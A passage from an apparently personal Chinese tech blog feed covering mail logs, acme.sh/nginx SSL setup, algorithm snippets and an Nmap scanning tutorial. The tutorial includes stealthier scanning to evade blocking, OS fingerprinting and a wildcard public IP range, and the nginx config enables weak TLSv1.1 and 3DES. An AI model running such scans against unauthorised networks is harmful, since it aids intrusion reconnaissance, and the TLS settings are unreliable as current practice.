邮件日志</span></span><br><span class="line"></span><br><span class="line">sudo cat /var/log/maillog </span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">最近的 实时日志</span></span><br><span class="line"></span><br><span class="line">sudo tail -f /var/log/maillog</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">查看 Dovecot 日志</span></span><br><span class="line"></span><br><span class="line">sudo cat /var/log/maillog | grep dovecot</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">检查失败的邮件</span></span><br><span class="line"></span><br><span class="line">sudo cat /var/log/maillog | grep -i &#x27;error\|deferred&#x27;</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
    <category term="Linux" scheme="https://wyy.hair/tags/Linux/"/>
    
  </entry>
  
  <entry>
    <title>SSL-证书Nginx部署</title>
    <link href="https://wyy.hair/posts/8a9ea330/"/>
    <id>https://wyy.hair/posts/8a9ea330/</id>
    <published>2024-09-01T11:56:32.000Z</published>
    <updated>2025-12-30T04:54:17.877Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="SSL-证书部署"><a href="#SSL-证书部署" class="headerlink" title="SSL 证书部署"></a>SSL 证书部署</h1><h2 id="acme"><a href="#acme" class="headerlink" title="acme"></a>acme</h2><blockquote><p><strong>acme.sh</strong> 实现了 <code>acme</code> 协议, 可以从 letsencrypt 生成免费的证书.</p></blockquote><h3 id="官方安装"><a href="#官方安装" class="headerlink" title="官方安装"></a>官方安装</h3><blockquote><p><a href="https://github.com/acmesh-official/acme.sh/wiki/%E8%AF%B4%E6%98%8E">github</a></p></blockquote><h3 id="国内用户"><a href="#国内用户" class="headerlink" title="国内用户"></a>国内用户</h3><blockquote><p><a href="https://github.com/acmesh-official/acme.sh/wiki/Install-in-China">中国大陆用户请参考</a></p></blockquote><h3 id="1-开始安装"><a href="#1-开始安装" class="headerlink" title="1.开始安装"></a>1.开始安装</h3><blockquote><p>进入到一个安装目录</p><p>通常 &#x2F;root </p></blockquote><h4 id="1-安装依赖"><a href="#1-安装依赖" class="headerlink" title="1.安装依赖"></a>1.安装依赖</h4><h5 id="安装-socat"><a href="#安装-socat" class="headerlink" title="安装 socat"></a>安装 <code>socat</code></h5><blockquote><p> <strong>使用 Standalone 模式</strong>：如果您在使用 <code>acme.sh</code> 的 <code>standalone</code> 模式（即 <code>acme.sh</code> 自带的临时服务器），<code>socat</code> 将被用来监听端口 80 并处理 HTTP-01 挑战请求。</p></blockquote><h5 id="在Ubuntu-Debian"><a href="#在Ubuntu-Debian" class="headerlink" title="在Ubuntu&#x2F;Debian"></a>在Ubuntu&#x2F;Debian</h5><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get update</span><br><span class="line">sudo apt-get install socat</span><br></pre></td></tr></table></figure><h5 id="在-CentOS-RHEL-系统上"><a href="#在-CentOS-RHEL-系统上" class="headerlink" title="在 CentOS&#x2F;RHEL 系统上"></a>在 CentOS&#x2F;RHEL 系统上</h5><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo yum install socat</span><br></pre></td></tr></table></figure><h4 id="2-安装acme"><a href="#2-安装acme" class="headerlink" title="2.安装acme"></a>2.安装acme</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git clone https://gitee.com/neilpang/acme.sh.git</span><br><span class="line">cd acme.sh</span><br><span class="line">./acme.sh --install -m my@example.com</span><br></pre></td></tr></table></figure><h3 id="2-生成证书"><a href="#2-生成证书" class="headerlink" title="2.生成证书"></a>2.生成证书</h3><h4 id="前提条件"><a href="#前提条件" class="headerlink" title="前提条件"></a>前提条件</h4><ol><li><p>域名已经解析到服务器</p></li><li><p>可通过<a href="http://example.com/">http://example.com</a> 访问到<strong>80</strong> 端口</p><blockquote><p>nginx 配置如下：</p></blockquote><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">server &#123;</span><br><span class="line">    listen 80;  # 监听端口 80</span><br><span class="line">    server_name todo.wyy.icu;  # 定义网站域名</span><br><span class="line"></span><br><span class="line">    # 网站根目录</span><br><span class="line">    root /www/wwwroot/todo.wyy.icu;</span><br><span class="line">    index index.html index.htm index.php;</span><br><span class="line"></span><br><span class="line">    # 日志文件路径</span><br><span class="line">    access_log /www/wwwlogs/todo.wyy.icu.log;</span><br><span class="line">    error_log /www/wwwlogs/todo.wyy.icu.error.log;</span><br><span class="line"></span><br><span class="line">    # 处理 PHP 文件</span><br><span class="line">    location ~ \.php$ &#123;</span><br><span class="line">        include fastcgi_params;</span><br><span class="line">        fastcgi_pass unix:/tmp/php-cgi-74.sock;  # 使用 PHP 7.4 版本</span><br><span class="line">        fastcgi_index index.php;</span><br><span class="line">        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;</span><br><span class="line">        include pathinfo.conf;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    # 处理静态文件</span><br><span class="line">    location / &#123;</span><br><span class="line">        try_files $uri $uri/ =404;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    #一键申请SSL证书验证目录相关设置</span><br><span class="line">    location ~ \.well-known&#123;</span><br><span class="line">        allow all;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    # 禁止访问隐藏文件（如 .htaccess）</span><br><span class="line">    location ~ /\. &#123;</span><br><span class="line">        deny all;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    # 禁止访问 Git 和 SVN 目录</span><br><span class="line">    location ~* \.(git|svn|htaccess|htpasswd)$ &#123;</span><br><span class="line">        deny all;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ol start="3"><li><p>重启 nginx</p><blockquote><p>检测 nginx 配置文件是否正确</p></blockquote><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nginx -t</span><br></pre></td></tr></table></figure><blockquote><p>重启</p></blockquote><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl restart nginx</span><br></pre></td></tr></table></figure><blockquote><p>检测</p></blockquote><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl status nginx</span><br></pre></td></tr></table></figure></li></ol><p>准备就绪 开始生成证书</p></li></ol><blockquote><p>todo.wyy.icu  网站域名</p><p>*.wyy.icu  泛域名</p></blockquote><blockquote><p>&#x2F;www&#x2F;wwwroot&#x2F;todo.wyy.icu&#x2F;   网站运行目录</p></blockquote><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">acme.sh --issue -d todo.wyy.icu --webroot /www/wwwroot/todo.wyy.icu/</span><br></pre></td></tr></table></figure><p>或者 nginx 自动解析 网站域名 运行目录</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">acme.sh --issue -d todo.wyy.icu --nginx</span><br></pre></td></tr></table></figure><h4 id="迁移文件（可选）"><a href="#迁移文件（可选）" class="headerlink" title="迁移文件（可选）"></a>迁移文件（可选）</h4><blockquote><p>SSL证书文件放入指定位置</p></blockquote><blockquote><p>成功后生成证书文件位置如下：</p></blockquote><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Your cert is in: /root/.acme.sh/todo.wyy.icu/todo.wyy.icu.cer</span><br><span class="line">Your cert key is in: /root/.acme.sh/todo.wyy.icu/todo.wyy.icu.key</span><br><span class="line">The intermediate CA cert is in: /root/.acme.sh/todo.wyy.icu/ca.cer</span><br><span class="line">And the full chain certs is there: /root/.acme.sh/todo.wyy.icu/fullchain.cer</span><br></pre></td></tr></table></figure><blockquote><p>迁移证书文件到自定义文件夹 &#x2F;www&#x2F;server&#x2F;panel&#x2F;vhost&#x2F;cert&#x2F;todo.wyy.icu&#x2F; </p></blockquote><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">sudo mkdir -p /www/server/panel/vhost/cert/todo.wyy.icu/</span><br><span class="line">sudo cp /root/.acme.sh/todo.wyy.icu/todo.wyy.icu.cer /www/server/panel/vhost/cert/todo.wyy.icu/</span><br><span class="line">sudo cp /root/.acme.sh/todo.wyy.icu/todo.wyy.icu.key /www/server/panel/vhost/cert/todo.wyy.icu/</span><br><span class="line">sudo cp /root/.acme.sh/todo.wyy.icu/ca.cer /www/server/panel/vhost/cert/todo.wyy.icu/</span><br><span class="line">sudo cp /root/.acme.sh/todo.wyy.icu/fullchain.cer /www/server/panel/vhost/cert/todo.wyy.icu/</span><br></pre></td></tr></table></figure><h3 id="3-NGINX-配置"><a href="#3-NGINX-配置" class="headerlink" title="3.NGINX 配置"></a>3.NGINX 配置</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line">server &#123;</span><br><span class="line">    listen 443;  # 监听端口 443</span><br><span class="line">    server_name todo.wyy.icu;  # 定义网站域名</span><br><span class="line"></span><br><span class="line">    # ssl证书地址</span><br><span class="line">    # ssl_certificate     /usr/local/nginx/cert/ssl.pem;  # pem文件的路径</span><br><span class="line">    # ssl_certificate_key  /usr/local/nginx/cert/ssl.key; # key文件的路径</span><br><span class="line"></span><br><span class="line">    # SSL-START SSL相关配置</span><br><span class="line">    # error_page 404/404.html;</span><br><span class="line">    # HTTP_TO_HTTPS_START</span><br><span class="line">    if ($server_port !~ 443)&#123;</span><br><span class="line">        rewrite ^(/.*)$ https://$host$1 permanent;</span><br><span class="line">    &#125;</span><br><span class="line">    # HTTP_TO_HTTPS_END</span><br><span class="line">    ssl_certificate /www/server/panel/vhost/cert/todo.wyy.icu/fullchain.cer;</span><br><span class="line">    ssl_certificate_key /www/server/panel/vhost/cert/todo.wyy.icu/todo.wyy.icu.key;</span><br><span class="line">    ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;</span><br><span class="line">    ssl_ciphers EECDH+CHACHA20:EECDH+CHACHA20-draft:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5;</span><br><span class="line">    ssl_prefer_server_ciphers on;</span><br><span class="line">    ssl_session_cache shared:SSL:10m;</span><br><span class="line">    ssl_session_timeout 10m;</span><br><span class="line">    add_header Strict-Transport-Security &quot;max-age=31536000&quot;;</span><br><span class="line">    error_page 497  https://$host$request_uri;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    # 网站根目录</span><br><span class="line">    root /www/wwwroot/todo.wyy.icu;</span><br><span class="line">    index index.html index.htm index.php;</span><br><span class="line"></span><br><span class="line">    # 日志文件路径</span><br><span class="line">    access_log /www/wwwlogs/todo.wyy.icu.log;</span><br><span class="line">    error_log /www/wwwlogs/todo.wyy.icu.error.log;</span><br><span class="line"></span><br><span class="line">    # 处理 PHP 文件</span><br><span class="line">    location ~ \.php$ &#123;</span><br><span class="line">        include fastcgi_params;</span><br><span class="line">        fastcgi_pass unix:/tmp/php-cgi-74.sock;  # 使用 PHP 7.4 版本</span><br><span class="line">        fastcgi_index index.php;</span><br><span class="line">        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;</span><br><span class="line">        include pathinfo.conf;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    # 处理静态文件</span><br><span class="line">    location / &#123;</span><br><span class="line">        try_files $uri $uri/ =404;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    #一键申请SSL证书验证目录相关设置</span><br><span class="line">    location ~ \.well-known&#123;</span><br><span class="line">        allow all;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    # 禁止访问隐藏文件（如 .htaccess）</span><br><span class="line">    location ~ /\. &#123;</span><br><span class="line">        deny all;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    # 禁止访问 Git 和 SVN 目录</span><br><span class="line">    location ~* \.(git|svn|htaccess|htpasswd)$ &#123;</span><br><span class="line">        deny all;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">server &#123;</span><br><span class="line">    listen 80;</span><br><span class="line">    server_name  todo.wyy.icu;</span><br><span class="line">    return 301 https://$server_name$request_uri;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>再次执行 重启nginx 步骤即可</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
    <category term="Linux" scheme="https://wyy.hair/tags/Linux/"/>
    
  </entry>
  
  <entry>
    <title>算法修炼手册</title>
    <link href="https://wyy.hair/posts/d6d824b0/"/>
    <id>https://wyy.hair/posts/d6d824b0/</id>
    <published>2024-08-14T15:41:47.000Z</published>
    <updated>2025-12-30T04:54:17.895Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="算法修炼手册"><a href="#算法修炼手册" class="headerlink" title="算法修炼手册"></a>算法修炼手册</h1><h2 id="经典算法总结（个人版）"><a href="#经典算法总结（个人版）" class="headerlink" title="经典算法总结（个人版）"></a>经典算法总结（个人版）</h2><h3 id="1-最大公约数"><a href="#1-最大公约数" class="headerlink" title="1.最大公约数"></a>1.最大公约数</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">res</span>(<span class="params">x, y</span>):</span><br><span class="line">    <span class="keyword">return</span> res(y, x % y) <span class="keyword">if</span> y <span class="keyword">else</span> x</span><br></pre></td></tr></table></figure><h3 id="2-数组求逆序"><a href="#2-数组求逆序" class="headerlink" title="2.数组求逆序"></a>2.数组求逆序</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">change</span>(<span class="params">self,nums: <span class="type">List</span>[<span class="built_in">int</span>], s: <span class="built_in">int</span>, e: <span class="built_in">int</span></span>) -&gt; <span class="literal">None</span>:   <span class="comment">#num 数组 s: 起始索引 e: 末尾索引</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(math.ceil((e - s + <span class="number">1</span>) / <span class="number">2</span>)):</span><br><span class="line">nums[s+i], nums[e - i] = nums[e - i], nums[s+i]</span><br></pre></td></tr></table></figure><h3 id="3-链表快慢指针"><a href="#3-链表快慢指针" class="headerlink" title="3.链表快慢指针"></a>3.链表快慢指针</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">s = q = head</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> q <span class="keyword">and</span> q.<span class="built_in">next</span>: <span class="comment">#s最终指向 中间（奇） 后半部分 第一个节点   （偶）</span></span><br><span class="line"><span class="comment">#2 while q.next and q.next.next: s最终指向 中间（奇） 前半部分 最后一个节点 （偶）</span></span><br><span class="line">    s = s.<span class="built_in">next</span></span><br><span class="line">    q = q.<span class="built_in">next</span>.<span class="built_in">next</span></span><br><span class="line"><span class="comment">#1 s 指向中间节点 s = Math.ceil(n/2) </span></span><br><span class="line"><span class="comment">#2 s 指向中间节点 s = Math.ceil(n/2) 奇数      s = n/2 偶数</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
    <category term="算法" scheme="https://wyy.hair/tags/%E7%AE%97%E6%B3%95/"/>
    
  </entry>
  
  <entry>
    <title>Nmap命令</title>
    <link href="https://wyy.hair/posts/36a33b0/"/>
    <id>https://wyy.hair/posts/36a33b0/</id>
    <published>2024-08-14T15:35:59.000Z</published>
    <updated>2025-12-30T04:54:17.893Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="Nmap"><a href="#Nmap" class="headerlink" title="Nmap"></a>Nmap</h1><blockquote><p>  扫描(Ping)网段内所有 IP</p>  <figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap <span class="literal">-sP</span> <span class="literal">-PI</span> <span class="number">192.168</span>.<span class="number">1.0</span>/<span class="number">24</span></span><br></pre></td></tr></table></figure><p>  全面扫描</p>  <figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap <span class="literal">-A</span> <span class="number">192.168</span>.<span class="number">1.1</span></span><br></pre></td></tr></table></figure><p>  免Ping 扫描 穿透防火墙 免发现</p>  <figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap <span class="literal">-P0</span> <span class="number">192.168</span>.<span class="number">1.1</span></span><br></pre></td></tr></table></figure><p>  TCP SYN Ping 扫描</p>  <figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">nmap <span class="literal">-PS</span> <span class="literal">-v</span> <span class="number">192.168</span>.<span class="number">1.1</span></span><br><span class="line">nmap <span class="literal">-PS80</span>,<span class="number">10</span><span class="literal">-100</span> <span class="literal">-v</span> <span class="number">192.168</span>.<span class="number">1.1</span>  <span class="comment">#针对防火墙丢弃RST包</span></span><br></pre></td></tr></table></figure><p>  TCP ACK Ping 扫描</p>  <figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap <span class="literal">-PA</span> <span class="literal">-v</span> <span class="number">192.168</span>.<span class="number">1.1</span></span><br></pre></td></tr></table></figure><p>  UDP Ping 扫描</p>  <figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap <span class="literal">-PU</span> <span class="literal">-v</span> <span class="number">192.168</span>.<span class="number">1.1</span></span><br></pre></td></tr></table></figure></blockquote><p><strong>NMAP 高级使用</strong></p><ol><li><p><strong>NMAP 高级使用技巧</strong></p></li><li><p><strong>NESSUS 漏洞检测</strong></p></li><li><p><a name="6.1__nmap高级使用技巧"></a><strong>NMAP 高级使用技巧</strong></p><ol start="3"><li><a name="6.1.3__nmap语法及示例"></a><strong>NMAP 语法及示例</strong></li></ol></li></ol><p><strong>语法：nmap [Scan Type(s)] [Options]</strong></p><p><strong>例 1：使用nmap 扫描一台服务器</strong></p><p><strong>默认情况下，Nmap 会扫描 1000 个最有可能开放的TCP 端口。</strong></p><p><strong>┌──(root💀xuegod53)-[~]</strong></p><p><strong>└─# nmap 192.168.1.63</strong></p><p><strong>Starting Nmap 7.91 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2021-03-04 10:24 CST Nmap scan report for bogon (192.168.1.63)</strong></p><p><strong>Host is up (0.000098s latency). Not shown: 997 closed ports PORTSTATE SERVICE</strong></p><p><strong>22&#x2F;tcp open ssh 80&#x2F;tcp open http 111&#x2F;tcp open rpcbind</strong></p><p><strong>MAC Address: 00:50:56:28:C2:08 (VMware)</strong></p><p><strong>Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds</strong></p><p><strong>例 2： 扫描一台机器，查看它打开的端口及详细信息。参数说明：</strong></p><p><strong>-v 表示显示冗余信息，在扫描过程中显示扫描的细节，从而让用户了解当前的扫描状态。</strong></p><p><strong>└─# nmap -v 192.168.1.63#查看以下相关信息。 Starting Nmap 7.91 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2021-03-04 10:26 CST Initiating ARP Ping Scan at 10:26</strong></p><p><strong>Scanning 192.168.1.63 [1 port]</strong></p><p><strong>Completed ARP Ping Scan at 10:26, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 10:26</strong></p><p><strong>Completed Parallel DNS resolution of 1 host. at 10:26, 0.00s elapsed Initiating SYN Stealth Scan at 10:26</strong></p><p><strong>Scanning bogon (192.168.1.63) [1000 ports] Discovered open port 111&#x2F;tcp on 192.168.1.63 Discovered open port 22&#x2F;tcp on 192.168.1.63 Discovered open port 80&#x2F;tcp on 192.168.1.63</strong></p><p><strong>Completed SYN Stealth Scan at 10:26, 0.08s elapsed (1000 total ports) Nmap scan report for bogon (192.168.1.63)</strong></p><p><strong>Host is up (0.00013s latency).</strong></p><p><strong>Not shown: 997 closed ports PORTSTATE SERVICE</strong></p><p><strong>22&#x2F;tcp open ssh 80&#x2F;tcp open http 111&#x2F;tcp open rpcbind</strong></p><p><strong>MAC Address: 00:50:56:28:C2:08 (VMware)</strong></p><p><strong>例 3：扫描一个范围： 端口 1-65535</strong></p><p><strong>└─# nmap -p 1-65535 192.168.1.63</strong></p><p><strong>Starting Nmap 7.91 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2021-03-04 10:28 CST Nmap scan report for bogon (192.168.1.63)</strong></p><p><strong>Host is up (0.00084s latency). Not shown: 65532 closed ports PORTSTATE SERVICE</strong></p><p><strong>22&#x2F;tcp open ssh 80&#x2F;tcp open http 111&#x2F;tcp open rpcbind</strong></p><p><strong>MAC Address: 00:50:56:28:C2:08 (VMware)</strong></p><p><strong>注：生产环境下，我们只需要开启正在提供服务的端口，其他端口都关闭。</strong></p><p><strong>关闭不需要开的服务有两种方法：</strong></p><p><strong>情景 1：你认识这个服务，直接关服务</strong></p><p><strong>└─# systemctl stop rpcbind</strong></p><p><strong>情景 2：不认识这个服务，查看哪个进程使用了这个端口并找出进程的路径，然后kill 进程，删除文件，接下来以 22 端口为例，操作思路如下：</strong></p><p><strong>└─# lsof -i :22#查看 22 端口正在被哪个进程使用</strong></p><p><strong>COMMANDPID  USERFDTYPE DEVICE SIZE&#x2F;OFF NODE NAME</strong></p><p><strong>sshd1089  root3u  IPv4  217790t0  TCP *:ssh (LISTEN)</strong></p><p><strong>通过 ps 命令查找对应的进程文件：</strong></p><p><strong>└─# ps -axu | grep 1089</strong></p><p><strong>root1089  0.0  0.1 105996  3744 ?Ss10:520:00 &#x2F;usr&#x2F;sbin&#x2F;sshd -D</strong></p><p><strong>注：看到进程的文件的路径是&#x2F;usr&#x2F;sbin&#x2F;sshd 。如果没有看到此命令的具体执行路径，说明此木马进程可以在bash 终端下直接执行，通过 which 和rpm -qf 来查看命令的来源，如下：</strong></p><p><strong>└─# which vim</strong></p><p><strong>&#x2F;usr&#x2F;bin&#x2F;vim</strong></p><p><strong>解决：</strong></p><p><strong>└─# kill -9 1089</strong></p><p><strong>总结：这个思路主要用于找出黑客监听的后门端口和木马存放的路径。</strong></p><p><strong>例 4： 扫描一台机器：查看此服务器开放的端口号和操作系统类型。</strong></p><p><strong>└─# nmap -sS -O xueshenit.com</strong></p><img src="/posts/36a33b0/Aspose.Words.4ed1c7a5-861e-465b-8ebd-8c6dff248426.001.jpeg" class=""><p><strong>注：-O 参数并不能 100%确认目标操作系统版本，无法确认准确的操作系统版本时 nmap 会给出几个可能性比较高的建议。</strong></p><p><strong>参数说明：</strong></p><p><strong>-O： 显示出操作系统的类型。 每一种操作系统都有一个指纹。</strong></p><p><strong>-sS：半开扫描(half-open)</strong></p><p><strong>测试自己的电脑（物理机）：</strong></p><p><strong>└─# nmap -sS -O 192.168.1.14</strong></p><p><strong>。。。</strong></p><p><strong>Running: Microsoft Windows 10</strong></p><p><strong>例 5：扫描一个网段中所有机器是什么类型的操作系统。</strong></p><p><strong>└─# nmap -sS -O 192.168.1.0&#x2F;24</strong></p><p><strong>例 6： 查找一些有特点的IP 地址中，开启 80 端口的服务器。</strong></p><p><strong>└─# nmap -v -p 80 192.168.1.62-67</strong></p><p><strong>例 7：如何更隐藏的去扫描，频繁扫描会被屏蔽或者锁定IP 地址。</strong></p><p><strong>–randomize_hosts  # 随机扫描，对目标主机的顺序随机划分</strong></p><p><strong>–scan-delay #延时扫描，单位秒，调整探针之间的延迟</strong></p><ol><li><strong>、随机扫描</strong></li></ol><p><strong>└─# nmap -v –randomize-hosts -p 80 192.168.1.62-69 Nmap scan report for 192.168.1.69 [host down]</strong></p><p><strong>Nmap scan report for 192.168.1.68 [host down] Nmap scan report for 192.168.1.67 [host down] Nmap scan report for 192.168.1.65 [host down] Nmap scan report for 192.168.1.66 [host down]</strong></p><ol><li><strong>、随机扫描+延时扫描 ，默认单位秒</strong></li></ol><p><strong>└─# nmap -v –randomize-hosts –scan-delay 3000ms -p 80 192.168.1.62-69</strong></p><p><strong>例 8：使用通配符指定IP 地址</strong></p><p><strong>└─# nmap -v –randomize-hosts –scan-delay 30 -p 80 1.*.2.3-8</strong></p><p><strong>例 8：TCP Connect 扫描</strong></p><p><strong>└─# nmap -sT 192.168.1.63 -p 80</strong></p><p><strong>这种扫描方式和SYN 扫描很像，只是这种扫描方式完成了TCP 的三次握手。</strong></p><p><strong>例 9：UDP 扫描</strong></p><p><strong>└─# nmap -sU 192.168.1.63</strong></p><p><strong>端口状态解析：</strong></p><p><strong>open：从目标端口得到任意的UDP 应答 open|filtered：如果目标主机没有给出应答 closed：ICMP 端口无法抵达错误 filtered：ICMP 